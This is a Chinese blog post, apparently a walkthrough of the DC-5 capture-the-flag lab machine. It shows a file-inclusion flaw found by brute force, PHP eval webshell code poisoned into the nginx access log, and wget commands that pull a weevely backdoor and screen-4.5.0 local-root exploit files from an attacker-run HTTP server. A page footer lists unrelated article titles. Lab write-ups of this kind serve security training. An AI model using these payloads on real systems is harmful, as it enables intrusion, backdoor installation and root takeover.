当前位置: 首页 > news >正文

【安全靶场】-DC-5

❤️博客主页 iknow181
🔥系列专栏 网络安全、 PythonJavaSEJavaWebCCNP
🎉欢迎大家点赞👍收藏⭐评论✍


在这里插入图片描述

一、收集信息

1.用burp测试穷尽文件名

使用两个字典

发现footer页面

可能存在文件包含,因为contact.php里面的内容和footer.php内容一样

2.判断文件包含的参数名是什么

GET /thankyou.php?§a§=§hah§ HTTP/1.1

使用cluster bomb模式


第一个payload

第二个payload

穷举发现前面参数名为file=

3.穷举看有什么东西可以被文件包含

GET /thankyou.php?file=§x.php§ HTTP/1.1

使用Fuzzing,指可能出现的情况
 


 

发现/etc/pass可以被文件包含进来的

4.查看nginx的日志

二、查找漏洞

1.测试日志

发现信息会被记录到日志里,那么我们就可以写一句话木马进去

2.打开kali的burp

在burp中提交的都是原汁原味的,不会进行url解码

写入一个一句话木马
/wocao! <?php @eval($_GET['a']);?>

如果发送后,在日志里的wocao!后面没有php代码,说明注入成功了
 


 

之后访问
/thankyou.php?file=/var/log/nginx/access.log&a=phpinfo();
发现可以执行

3.生成一个web木马

最好直接在root目录下生成

weevely generate 123456 haha.php

提高权限

4.开启一个python http服务器

目的是让目标来我这边下载木马

python -m http.server

5.文件包含漏洞下载木马

/thankyou.php?file=/var/log/nginx/access.log&a=system('cd /tmp;wget 【木马地址】;chmod +x haha.php')

包含木马
/thankyou.php?file=/tmp/haha.php

kali链接木马

weebely http://172.20.10.14/thankyou.php?file=/tmp/haha.php

三、提权

这时已经进入目标主机上了

1.发现有哪些命令可以提权

find / -perm 4000 2>/dev/null

发现screen-4.5.0

2.搜索screen有什么漏洞

3.将漏洞拷贝到本地

41152.sh是一个分段的编译程序

每个 EOF代表一段话的结束

4.利用漏洞

将这个代码复制到libhax.c的文件

然后用这条命令进行编译

这个代码复制到rootshell.c的文件

编译

最后一段是sh命令,新建一个sh文件

5.将编译好的木马传到目标上去

进入刚才的weevely

cd /tmp
wget http://192.168.43.91:8000/libhax.so
wget http://192.168.43.91:8000/rootshell
wget http://192.168.43.91:8000/runme.sh

加权限

提取成功

在这里插入图片描述

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 『基础』OS-1计算机系统概述_操作系统发展历程及它的运行环境
  • 机器人蓝牙通信绕坑
  • 【pip镜像设置】pip使用清华镜像源安装
  • <数据集>无人机航拍不同高度牧羊识别数据集<目标检测>
  • day06_算法训练
  • 星露谷模组开发教程#6 烹饪和制造配方
  • 免费高画质提取PPT/Word/Excel中的图片工具
  • 华为OD题目 csv格式的数据 字符串 用C没写出来
  • OS-Copilot:自学习的通用计算机智能体
  • day 10 贪心算法
  • 优化 WinForms 应用程序的 DataGridView 性能
  • 【三维重建】2D Gaussian Splatting:几何准确的2D辐射场(更新中)
  • RocketMQ源码分析 - 环境搭建
  • 【ARM Hypervisor And SMMU 系列 5 -- SMMU 和 IOMMU技术】
  • Python爬虫实战训练:爬取网络小说
  • angular组件开发
  • ES6之路之模块详解
  • HTML5新特性总结
  • HTTP--网络协议分层,http历史(二)
  • javascript 总结(常用工具类的封装)
  • JavaSE小实践1:Java爬取斗图网站的所有表情包
  • JS专题之继承
  • nodejs:开发并发布一个nodejs包
  • Python_网络编程
  • uva 10370 Above Average
  • Vultr 教程目录
  • 解决jsp引用其他项目时出现的 cannot be resolved to a type错误
  • 数组大概知多少
  • 微信公众号开发小记——5.python微信红包
  • 想晋级高级工程师只知道表面是不够的!Git内部原理介绍
  • 用 vue 组件自定义 v-model, 实现一个 Tab 组件。
  • 与 ConTeXt MkIV 官方文档的接驳
  • ionic入门之数据绑定显示-1
  • mysql面试题分组并合并列
  • 函数计算新功能-----支持C#函数
  • ​如何防止网络攻击?
  • ###STL(标准模板库)
  • #70结构体案例1(导师,学生,成绩)
  • #APPINVENTOR学习记录
  • #Lua:Lua调用C++生成的DLL库
  • #调用传感器数据_Flink使用函数之监控传感器温度上升提醒
  • $jQuery 重写Alert样式方法
  • (2)MFC+openGL单文档框架glFrame
  • (20050108)又读《平凡的世界》
  • (cos^2 X)的定积分,求积分 ∫sin^2(x) dx
  • (Java数据结构)ArrayList
  • (办公)springboot配置aop处理请求.
  • (分享)自己整理的一些简单awk实用语句
  • (附源码)ssm本科教学合格评估管理系统 毕业设计 180916
  • (免费领源码)Java#Springboot#mysql农产品销售管理系统47627-计算机毕业设计项目选题推荐
  • (亲测成功)在centos7.5上安装kvm,通过VNC远程连接并创建多台ubuntu虚拟机(ubuntu server版本)...
  • (原創) 如何動態建立二維陣列(多維陣列)? (.NET) (C#)
  • (转载)利用webkit抓取动态网页和链接
  • .NET Framework 3.5安装教程
  • .NET NPOI导出Excel详解